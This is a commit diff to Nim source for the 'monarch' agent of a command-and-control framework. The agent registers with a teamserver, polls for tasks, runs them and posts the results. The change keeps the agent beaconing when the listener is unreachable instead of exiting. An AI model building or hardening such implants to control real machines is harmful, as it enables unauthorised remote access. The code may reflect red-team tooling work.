Prevented client from crashing when listener is not reachable

agents/monarch/client.nim

@@ -14,6 +14,8 @@ proc main() =
         4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
     ]#  
 
+    # TODO: Read data from configuration file
+
     let listener = "NVIACCXB"
     let agent = register(listener)
     echo fmt"[+] [{agent}] Agent registered."
@@ -33,8 +35,14 @@ proc main() =
         let date: string = now().format("dd-MM-yyyy HH:mm:ss")
         echo fmt"[{date}] Checking in."
 
+        # Retrieve task queue from the teamserver for the current agent
         let tasks: seq[Task] = getTasks(listener, agent)
 
+        if tasks.len <= 0: 
+            echo "[*] No tasks to execute."
+            continue 
+        
+        # Execute all retrieved tasks and return their output to the server
         for task in tasks: 
             let result = task.handleTask()
 

agents/monarch/http.nim

@@ -25,8 +25,8 @@ proc register*(listener: string): string =
     try:
         # Register agent to the Conquest server
         return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
-    except HttpRequestError as err:
+    except CatchableError as err:
-        echo "Registration failed"
+        echo "[-] [REGISTER FAILED]:", err.msg
         quit(0)
     finally:
         client.close()
@@ -40,10 +40,9 @@ proc getTasks*(listener: string, agent: string): seq[Task] =
         let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks")
         return parseJson(responseBody).to(seq[Task])
 
-    except HttpRequestError as err:
+    except CatchableError as err:
-        echo "Not found"
+        # When the listener is not reachable, don't kill the application, but check in at the next time
-        quit(0)
+        echo "[-] [TASK-RETRIEVAL FAILED]:", err.msg
-
     finally:
         client.close()
 
@@ -61,9 +60,9 @@ proc postResults*(listener, agent: string, task: Task): bool =
     try:
         # Register agent to the Conquest server
         discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson)
-    except HttpRequestError as err:
+    except CatchableError as err:
-        echo "Not found"
+        # When the listener is not reachable, don't kill the application, but check in at the next time
-        quit(0)
+        echo "[-] [RESULTS FAILED]:", err.msg
     finally:
         client.close()